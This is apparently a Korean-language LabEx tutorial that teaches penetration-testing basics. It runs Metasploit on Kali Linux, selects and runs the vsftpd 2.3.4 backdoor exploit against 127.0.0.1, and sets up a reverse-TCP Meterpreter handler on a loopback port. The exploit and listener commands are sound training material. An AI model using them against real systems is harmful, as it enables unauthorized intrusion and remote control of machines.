소개
이 실습에서는 LabEx VM의 통제된 환경 내에서 Kali Linux를 사용하여 모의 해킹의 기초를 배웁니다. 강력한 Metasploit Framework를 활용하여 취약점을 식별하고, 페이로드를 구성하며, 익스플로잇을 실행하고, Meterpreter 세션을 통해 침투된 시스템과 상호작용하는 방법에 중점을 둡니다. 초보자를 위해 설계된 이 실습은 필수적인 사이버 보안 기술을 안전하고 체계적인 방식으로 단계별로 안내합니다. 터미널을 열면 자동으로 Kali Linux 컨테이너의 셸에 연결되므로, 별도의 시작 절차 없이 즉시 실습을 시작할 수 있습니다.
Metasploit Framework 시작하기
첫 번째 단계에서는 Kali Linux에서 모의 해킹의 핵심 도구인 Metasploit Framework를 실행합니다. 이 단계는 이후 과정에서 취약점을 식별하고 공격하기 위한 환경을 설정하는 필수 과정입니다.
LabEx VM에서 터미널을 열면 자동으로 Kali Linux 컨테이너의 셸에 연결됩니다. 컨테이너를 수동으로 시작하거나 셸에 진입할 필요가 없으며, 환경은 이미 구성되어 있습니다.
Metasploit을 사용하기 전에 Kali Linux 컨테이너에 설치되어 있는지 확인해야 합니다. 먼저 터미널에 다음 명령어를 입력하고 Enter를 눌러 패키지 목록을 업데이트하십시오.
apt update
다음으로 Metasploit Framework를 설치합니다. 설치에는 몇 분 정도 소요될 수 있으므로 완료될 때까지 기다려 주십시오.
apt install -y metasploit-framework
설치가 완료되면 다음 명령어를 입력하고 Enter를 눌러 Metasploit 콘솔을 시작합니다.
msfconsole
이 명령어를 처음 실행할 때는 데이터베이스 설정 및 모듈 로드로 인해 초기화 시간이 다소 걸릴 수 있습니다. Metasploit이 시작되면 ASCII 아트 배너와 함께 다음과 같은 프롬프트가 나타납니다.
Metasploit Framework
...
msf6 >
msf6 > 프롬프트는 Metasploit 콘솔 내부에 진입했음을 의미하며, 이제 프레임워크와 상호작용할 준비가 되었습니다. 다음 단계에서 익스플로잇을 검색하고 선택해야 하므로 콘솔을 종료하지 마십시오.
익스플로잇 검색 및 선택
Metasploit Framework를 시작했으므로, 다음 단계는 익스플로잇을 검색하고 선택하는 것입니다. 익스플로잇은 소프트웨어 취약점을 이용하여 권한 없는 접근을 얻는 등 의도하지 않은 동작을 유발하는 코드 조각입니다.
이미 Metasploit 콘솔(msf6 > 프롬프트)에 있으므로, 취약점이 자주 발견되는 일반적인 서비스인 FTP(File Transfer Protocol)와 관련된 익스플로잇을 검색해 보겠습니다. 다음 명령어를 입력하고 Enter를 누르십시오.
search ftp
이 명령어는 FTP와 관련된 익스플로잇 및 보조(auxiliary) 모듈을 나열합니다. 출력 결과에는 일치하는 모듈 표가 표시됩니다.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
2 auxiliary/scanner/ftp/anonymous normal No FTP Anonymous Access Scanner
...
이번 실습에서는 vsftpd_234_backdoor 익스플로잇을 사용합니다. 이를 선택하려면 use 명령어 뒤에 익스플로잇 이름을 입력하십시오.
use exploit/unix/ftp/vsftpd_234_backdoor
익스플로잇을 선택하면 프롬프트가 해당 익스플로잇 이름으로 변경되어 현재 활성화된 모듈임을 나타냅니다.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
선택한 익스플로잇의 옵션 및 요구 사항을 포함한 자세한 정보를 보려면 info 명령어를 입력하십시오.
info
출력 결과에는 플랫폼, 아키텍처, 사용 가능한 타겟 등의 세부 정보가 표시됩니다.
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
이제 익스플로잇을 성공적으로 선택했습니다. 다음 단계에서는 이 익스플로잇을 위한 페이로드를 구성합니다.
참고: Labby는 msf 셸 내의 작업 기록을 가져올 수 없으므로, 다음 단계들은 검증되지 않습니다.
익스플로잇 및 페이로드 구성
익스플로잇이 선택되었으므로 이제 옵션을 구성하고 페이로드를 설정해야 합니다. 페이로드는 익스플로잇 성공 후 타겟 시스템에서 실행될 코드입니다. 이번 실습에서는 타겟 시스템에서 명령어를 실행할 수 있도록 대화형 명령어 셸 페이로드를 구성합니다.
중요: 페이로드를 설정하기 전에 선택한 익스플로잇과 호환되는 페이로드를 확인하는 것이 중요합니다. 다음 명령어를 사용하여 호환되는 모든 페이로드를 확인하십시오.
show payloads
vsftpd_234_backdoor 익스플로잇과 작동하는 페이로드 목록이 표시됩니다. 호환되는 페이로드는 cmd/unix/interact 하나뿐입니다.
먼저 페이로드를 설정합니다. 이 익스플로잇과 호환되는 대화형 명령어 셸을 사용합니다. 페이로드 이름 cmd/unix/interact는 <아키텍처>/<플랫폼>/<유형> 구조를 따릅니다. 여기서 cmd는 명령어 셸 아키텍처, unix는 타겟 플랫폼, interact는 대화형 세션을 제공함을 의미합니다.
set payload cmd/unix/interact
확인 메시지가 표시됩니다.
payload => cmd/unix/interact
다음으로 익스플로잇 옵션을 구성해야 합니다. RHOST(Remote Host) 옵션은 타겟 머신의 IP 주소를 지정합니다. 이 시뮬레이션에서는 127.0.0.1로 설정합니다.
set RHOST 127.0.0.1
중요 참고: 리버스 셸 페이로드와 달리 cmd/unix/interact 페이로드는 LHOST나 LPORT 설정이 필요하지 않습니다. 이 페이로드는 타겟과 직접 대화형 명령어 세션을 설정합니다.
모든 설정을 확인하려면 show options 명령어를 사용하십시오.
show options
익스플로잇에 대한 옵션 표가 표시됩니다. RHOST가 올바르게 설정되었는지 확인하십시오.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
이제 익스플로잇과 페이로드가 구성되었으며 다음 단계에서 실행할 준비가 되었습니다.
익스플로잇 실행
익스플로잇과 페이로드를 구성했으므로 이제 실행할 준비가 되었습니다. exploit 명령어는 Metasploit에게 지정된 타겟(RHOST)에 대해 공격을 시작하도록 지시합니다.
Metasploit 콘솔에서 다음 명령어를 입력하고 Enter를 누르십시오.
exploit
Metasploit이 익스플로잇 실행을 시도합니다. 이 실습 환경의 127.0.0.1에는 실제 취약한 VSFTPD 서비스가 실행되고 있지 않으므로 익스플로잇은 실패합니다. 이는 예상된 결과이며 공격을 시작하는 과정을 보여주기 위한 것입니다.
출력 결과는 Metasploit이 타겟 FTP 서비스에 연결을 시도했지만 서비스가 실행 중이지 않아 실패했음을 보여줍니다.
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
참고: cmd/unix/interact 페이로드를 사용하면 리버스 셸 리스너가 시작되는 것을 볼 수 없습니다. 대신, 이 페이로드는 타겟 FTP 서비스가 취약하고 접근 가능한 경우 직접 대화형 명령어 세션을 설정하려고 시도합니다.
Exploit completed, but no session was created 메시지는 실패를 확인해 줍니다. 취약한 VSFTPD 서비스가 있는 성공적인 시나리오라면, 이 단계에서 대화형 명령어 셸 세션이 설정되어 타겟 시스템에서 직접 명령어를 실행할 수 있게 됩니다. 이 단계는 모의 해킹 워크플로우의 핵심인 익스플로잇 실행 명령어를 학습하는 과정입니다.
Meterpreter 리스너 설정
마지막 단계에서는 Meterpreter 페이로드를 위한 리스너를 설정하는 방법을 배웁니다. Meterpreter는 타겟 시스템에서 대화형 셸을 제공하는 고급 기능의 페이로드입니다. 익스플로잇을 직접 실행하는 대신 exploit/multi/handler 모듈을 사용하여 들어오는 연결을 대기합니다. 이는 악성 파일 등을 통해 익스플로잇이 전달되고 리버스 연결을 받아야 할 때 유용합니다.
먼저 multi/handler 모듈로 전환합니다.
use exploit/multi/handler
프롬프트가 새로운 모듈을 반영하여 변경됩니다.
msf6 exploit(multi/handler) >
다음으로 Meterpreter 페이로드를 설정합니다. Linux 시스템용으로 설계된 페이로드를 사용합니다. 페이로드 이름 linux/x86/meterpreter/reverse_tcp는 <플랫폼>/<아키텍처>/<유형>/<프로토콜> 구조를 따릅니다. 이는 Linux 플랫폼, x86 아키텍처, Meterpreter 페이로드 유형, 리버스 TCP 연결 프로토콜을 지정합니다.
set payload linux/x86/meterpreter/reverse_tcp
이제 이전과 마찬가지로 리스너 옵션인 LHOST와 LPORT를 구성합니다.
set LHOST 127.0.0.1
참고: 루프백 주소 바인딩에 대한 경고 메시지가 나타날 수 있습니다. 이는 localhost(127.0.0.1)를 사용할 때 발생하는 일반적인 현상이며, 이 실습에서는 무시해도 됩니다.
set LPORT 4444
마지막으로 exploit 명령어를 사용하여 리스너를 시작합니다.
exploit
Metasploit이 지정된 IP와 포트에서 리스너를 시작하고 Meterpreter 세션 연결을 대기합니다.
[*] Started reverse TCP handler on 127.0.0.1:4444
콘솔은 연결을 대기하며 활성 상태를 유지합니다. 실제 시나리오에서 타겟 머신이 해당 Meterpreter 페이로드를 실행하면 여기서 세션이 설정됩니다. 이 실습에서는 연결할 타겟이 없으므로 Ctrl + C를 눌러 리스너를 중지할 수 있습니다.
Metasploit 콘솔을 종료하려면 exit를 입력하고 Enter를 누르십시오.
요약
이 실습에서는 Kali Linux와 Metasploit Framework를 사용하여 모의 해킹의 기본 단계를 학습했습니다. Metasploit을 시작하고, 익스플로잇을 검색 및 선택하며, 익스플로잇과 리버스 셸 페이로드를 구성하고, 시뮬레이션 환경에서 공격을 실행해 보았습니다. 또한 고급 Meterpreter 페이로드를 위한 독립형 리스너를 설정하는 방법도 배웠습니다. 이러한 단계들은 취약점 식별, 페이로드 준비, 익스플로잇 과정 이해라는 모의 해킹의 핵심 워크플로우에 대한 실무적인 입문을 제공합니다. 이 체계적인 접근 방식을 통해 필수적인 사이버 보안 도구와 기술에 대한 실무 경험을 쌓았습니다.


